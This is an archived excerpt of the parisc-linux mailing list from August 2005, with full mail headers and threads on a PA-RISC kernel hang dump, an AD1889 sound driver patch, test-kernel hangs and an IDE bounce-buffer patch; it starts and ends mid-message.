101319b8:       48 7c 00 30     ldw 18(,r3),ret0
101319bc:       0c 63 12 88     stw r3,4(,r3)

GR[22] =3D=3D t1(32bits) =3D=3D arg4(64bits) =3D 0000000000280000

GR[21] =3D=3D t2(32bits) =3D=3D arg5(64bits) =3D 00000000006a884a

GR[20] =3D=3D t3(32bits) =3D=3D arg6(64bits) =3D 000000000042884a

GR[19] =3D=3D t4(32bits) =3D=3D arg7(64bits) =3D 00000000104ec17c

GR[26] =3D=3D arg0 =3D 00000000104ebda4

GR[25] =3D=3D arg1 =3D 000000001dd454d0

GR[24] =3D=3D arg2 =3D 000000000000000a

GR[23] =3D=3D arg3 =3D 0000000000000262

GR[27] =3D=3D dp =3D 00000000103bd010

Func: $global$, Off: 0x0, Addr: 0x103bd010


GR[28] =3D=3D ret0 =3D 000000001dd45110

GR[29] =3D=3D ret1 or sl =3D 0000000000280000

GR[30] =3D=3D sp =3D 0000000010484500

GR[31] =3D=3D ble rp =3D 000000001012d958

Func: __do_softirq, Off: 0xe0, Addr: 0x1012d958

1012d950:       e6 c0 20 00     be,l 0(sr4,r22),%sr0,%r31
1012d954:       08 1f 02 42     copy r31,rp
1012d958:       e8 1f 1f 05     b,l 1012d8e0 <__do_softirq+0x68>,r0
1012d95c:       0d 06 12 88     stw r6,4(,r8)

CR of CPU[0]
00-03   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
04-07   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
08-11   000000000000142e  0000000000000000  00000000000000c0  00000000000=
0003e
12-15   0000000000000000  0000000000000000  000000000010b000  00000000ff8=
00000
16-19   00000243adf4f356  0000000000000000  00000000101318f4  000000000f9=
91280
20-23   0000000010240037  0000000051545110  000000ff0004ff0e  00000000da0=
00000
24-27   0000000000479000  000000000d19a000  0000000000044021  00000000f04=
12000
28-31   0000000055555555  0000000055555555  0000000010484000  00000000104=
88000

CR[00] =3D=3D rctr =3D 0000000000000000

CR[08] =3D=3D (Protection ID) pidr1 =3D 000000000000142e

CR[10] =3D=3D ccr =3D 00000000000000c0

CR[11] =3D=3D sar =3D 000000000000003e

CR[14] =3D=3D iva =3D 000000000010b000

CR[15] =3D=3D eiem =3D 00000000ff800000

CR[16] =3D=3D itmr =3D 00000243adf4f356

CR[17] =3D=3D pcsq =3D 0000000000000000

CR[18] =3D=3D pcoq =3D 00000000101318f4

CR[19] =3D=3D iir =3D 000000000f991280

CR[20] =3D=3D isr =3D 0000000010240037

CR[21] =3D=3D ior =3D 0000000051545110

CR[22] =3D=3D ipsw =3D 000000ff0004ff0e

CR[23] =3D=3D eirw =3D 00000000da000000

CR[24] =3D=3D tr0 (ptov) =3D 0000000000479000

CR[25] =3D=3D tr1 (vtop) =3D 000000000d19a000

CR[26] =3D=3D tr2 =3D 0000000000044021

CR[27] =3D=3D tr3 =3D 00000000f0412000

CR[28] =3D=3D tr4 =3D 0000000055555555

CR[29] =3D=3D tr5 =3D 0000000055555555

CR[30] =3D=3D tr6 =3D 0000000010484000

CR[31] =3D=3D tr7 =3D 0000000010488000

SR of CPU[0]
00-03   00000000          00000a17          00000000          00000a17
04-07   00000000          00000000          00000000          00000000
SR[0] =3D 00000000
SR[1] =3D 00000a17
SR[2] =3D 00000000
SR[3] =3D 00000a17
SR[4] =3D 00000000
SR[5] =3D 00000000
SR[6] =3D 00000000
SR[7] =3D 00000000
Need much more work !!!

SR[00] =3D=3D ts0 =3D 00000000

SR[01] =3D=3D ts1 =3D 00000a17

SR[03] =3D=3D cpp =3D 00000a17
        Not parsable address!
...
IIA Offset                   =3D 0x00000000101318f8
...

e.g. IAOQ =3D 0x00000000101318f8

Parse IAOQ =3D 0x00000000101318f8 for CPU[0]

Func: internal_add_timer, Off: 0xdc, Addr: 0x101318f8

101318f0:       0e 79 12 88     stw r25,4(,r19)
101318f4:       0f 99 12 80     stw r25,0(,ret0)
101318f8:       e8 40 d0 00     bve (rp)
101318fc:       0f 3c 12 88     stw ret0,4(,r25)

Any idea on this new hang?

Thanks,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lee Revell <rlrevell@joe-job.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Thu, 18 Aug 2005 13:12:34 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <1124385155.5973.20.camel__10715.4370438822$1416623907$gmane$org@mindpipe>
References: <Pine.HPX.4.33n.0508171249360.19860-200000@studcom.urz.uni-halle.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623907 16510 80.91.229.3 (22 Nov 2014 02:38:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:27 +0000 (UTC)
Cc: kyle@parisc-linux.org,
 alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Clemens Ladisch <clemens@ladisch.de>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 17:12:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 18 Aug 2005 19:12:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5BE2F7D6E4;
	Thu, 18 Aug 2005 11:12:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31320-05; Thu, 18 Aug 2005 11:12:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8D507D6A8;
	Thu, 18 Aug 2005 11:12:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 496697D637
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 11:12:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31305-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 11:12:37 -0600 (MDT)
Original-Received: from mustang.oldcity.dca.net (mustang.oldcity.dca.net [216.158.38.3])
	by free.linux.hp.com (Postfix) with SMTP id 810F37D40C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 11:12:37 -0600 (MDT)
Original-Received: (qmail 15545 invoked from network); 18 Aug 2005 17:12:36 -0000
Original-Received: from unknown (HELO ?192.168.1.47?) (70.20.226.90)
	by mustang with SMTP; 18 Aug 2005 17:12:36 -0000
In-Reply-To: <Pine.HPX.4.33n.0508171249360.19860-200000@studcom.urz.uni-halle.de>
X-Mailer: Evolution 2.3.7 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xqR2Yw9ceSEkX76WZHQhaXN1IGRvbwDs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23105

On Thu, 2005-08-18 at 17:35 +0200, Clemens Ladisch wrote:
> > > +/* keep track of some hw registers */
> > >  struct ad1889_register_state {
> > >     u16 reg;        /* reg setup */
> > >     u32 addr;       /* dma base address */
> > > -   u16 rate;       /* sample rate */
> > > -   unsigned long pos;      /* last recorded DMA buffer position
> */
> > > -   unsigned long buf;      /* period # */
> > >     unsigned long size;     /* DMA buffer size */
> > > -   unsigned long count;    /* period size, aka nb bytes sent in
> the current DMA transfer */
> >
> > reading the patch through webmail doesn't help a lot getting a grasp
> > of its whole but i wonder if we could still find some debugging
> > purposes for these values. Remember this driver is work in
> progress ;)
> 
> Those fields just aren't used anymore; anything interesting is in the
> chip's registers. 

Isn't it still useful to maintain a cached copy of the register state
for suspend/resume purposes?

Lee

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Thu, 18 Aug 2005 13:24:48 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200508181724.j7IHOnLq006926@hiauly1.hia.nrc.ca>
References: <ILFDUV$F78A20A99DD29674BBE529F42F203D92@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623907 16513 80.91.229.3 (22 Nov 2014 02:38:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 17:25:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 18 Aug 2005 19:25:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B95C7D6EE;
	Thu, 18 Aug 2005 11:25:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31726-04; Thu, 18 Aug 2005 11:25:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36AF17D6E4;
	Thu, 18 Aug 2005 11:25:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C730A7D693
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 11:24:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31726-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 11:24:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A605B7D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 11:24:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7IHOnnV006928; Thu, 18 Aug 2005 13:24:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7IHOnLq006926;
	Thu, 18 Aug 2005 13:24:49 -0400 (EDT)
In-Reply-To: <ILFDUV$F78A20A99DD29674BBE529F42F203D92@scarlet.be> from "Joel
	Soete" at Aug 18, 2005 06:01:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I6F2YwkLeSEkX76WZHQhaXN1IGRvbwDw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23106

> Well the system reboot fine but the same test as describe above make again the
> system hang after only 45min of test ;_(

Yah, my c3k is also hung.  It got through one GCC full build and check,
but hung last night in the second.

Randolph's patch only fixed a hang causes by a stack overflow when
catching SIGSEGV.  It's not going to fix anything that doesn't SEGV.

Note that my patch was to fix a glibc issue affecting signal handling.
It's doubtful that it would fix the hangs that you have been experiencing
with your stress test.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Fri, 19 Aug 2005 07:49:44 +0800
Lines: 19
Approved: news@gmane.org
Message-ID: <43051E98.7080306@tausq.org>
References: <ILFDUV$F78A20A99DD29674BBE529F42F203D92@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623907 16514 80.91.229.3 (22 Nov 2014 02:38:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:27 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 23:49:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 19 Aug 2005 01:49:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B0C67D6C3;
	Thu, 18 Aug 2005 17:49:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00450-08; Thu, 18 Aug 2005 17:49:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 662CE7D6C5;
	Thu, 18 Aug 2005 17:49:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E7877D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 17:49:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00455-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 17:49:18 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id DD30E7D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 17:49:17 -0600 (MDT)
Original-Received: from 43.203.17.210.dyn.pacific.net.hk ([210.17.203.43]
	helo=[192.168.1.101])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1E5u2s-0001tc-OH; Fri, 19 Aug 2005 07:43:38 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <ILFDUV$F78A20A99DD29674BBE529F42F203D92@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0Ht3YwBneSEkY76WZHQhaXN1IGRvb0By
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23107

> I also install the latest gcc-4.0-4.0.1-5 on my unstable b2k install to
> rebuild the same 32bit kernel (2.6.13-rc6-pa2 cvs 20050817) but saving libc6
> 2.3.2.ds1-22 (excepted this the 2 systems are debian unstable update at the
> same level this morning).
> Well the system reboot fine but the same test as describe above make again the
> system hang after only 45min of test ;_(

does the system respond to sysrq when it hangs? if so it may be useful 
to look at it with kdb.

does it always hang in internal_add_timer?

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Why toggle_bounce only for disks?
Date: Fri, 19 Aug 2005 12:07:44 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <58cb370e05081903073d9a2b73__42746.015583589$1416623908$gmane$org@mail.gmail.com>
References: <20050806235615.GK3505@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623908 16515 80.91.229.3 (22 Nov 2014 02:38:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:28 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 Jens Axboe <axboe@suse.de>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2005 10:07:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 19 Aug 2005 12:07:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E9EB7D6CB;
	Fri, 19 Aug 2005 04:07:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02899-08; Fri, 19 Aug 2005 04:07:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 344F77D6C8;
	Fri, 19 Aug 2005 04:07:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32F367D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:07:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02899-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:07:46 -0600 (MDT)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.197])
	by free.linux.hp.com (Postfix) with ESMTP id 60F067D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 04:07:46 -0600 (MDT)
Original-Received: by nproxy.gmail.com with SMTP id x37so161804nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 03:07:44 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=TJbgghwVlQFmOsLl6vvUF3mrQyL7LCbLfWsFBBRZSHsgWSVgv2A8R0CQ+EuVoiyNCYv54pR85FLzAXgTm0lsdTLCeK5tbohm930vCoaBXsH8jXmsTY6FIjEBlSimH0XgC8aA4x+Gb/Mke3YjX8sdGYO62pI3Ffikvr1pWdlDYA4=
Original-Received: by 10.48.30.8 with SMTP id d8mr108275nfd;
	Fri, 19 Aug 2005 03:07:44 -0700 (PDT)
Original-Received: by 10.48.49.8 with HTTP; Fri, 19 Aug 2005 03:07:44 -0700 (PDT)
In-Reply-To: <20050806235615.GK3505@roadwarrior.mcmartin.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K8p3Y3FVeSEkVb6WZHQhaXN1IGRvb4CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23108

Hi,

http://www.ussg.iu.edu/hypermail/linux/kernel/0209.1/1074.html

Jens, is this still true??

Bartlomiej

On 8/7/05, Kyle McMartin <kyle@parisc-linux.org> wrote:
> Ahoi,
>=20
> The following patch fixes a crash caused by attempting to bounce buffer
> when an IDE CD-ROM is used on a machine with an IO-MMU. [At least, this
> patch fixes things so I can use my IDE CD-ROM behind an ns87415 on a
> HP PA-RISC workstation.]
>=20
> Why was this only allowed for disks?
>=20
> --- a/drivers/ide/ide-lib.c   18 Jul 2005 18:46:30 -0000
> +++ b/drivers/ide/ide-lib.c   6 Aug 2005 20:28:04 -0000
> @@ -410,7 +410,7 @@ void ide_toggle_bounce(ide_drive_t *driv
>  {
>         u64 addr =3D BLK_BOUNCE_HIGH;     /* dma64_addr_t */
>=20
> -       if (on && drive->media =3D=3D ide_disk) {
> +       if (on) {
>                 if (!PCI_DMA_BUS_IS_PHYS)
>                         addr =3D BLK_BOUNCE_ANY;
>                 else if (HWIF(drive)->pci_dev)
>=20
> Cheers,
> --
> Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens Axboe <axboe@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Why toggle_bounce only for disks?
Date: Fri, 19 Aug 2005 12:21:33 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20050819102132.GM6273__19605.2533145577$1416623908$gmane$org@suse.de>
References: <20050806235615.GK3505@roadwarrior.mcmartin.ca>
	<58cb370e05081903073d9a2b73@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623908 16518 80.91.229.3 (22 Nov 2014 02:38:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:28 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2005 10:19:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 19 Aug 2005 12:19:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D851C7D6CF;
	Fri, 19 Aug 2005 04:19:14 -0600 (MDT)
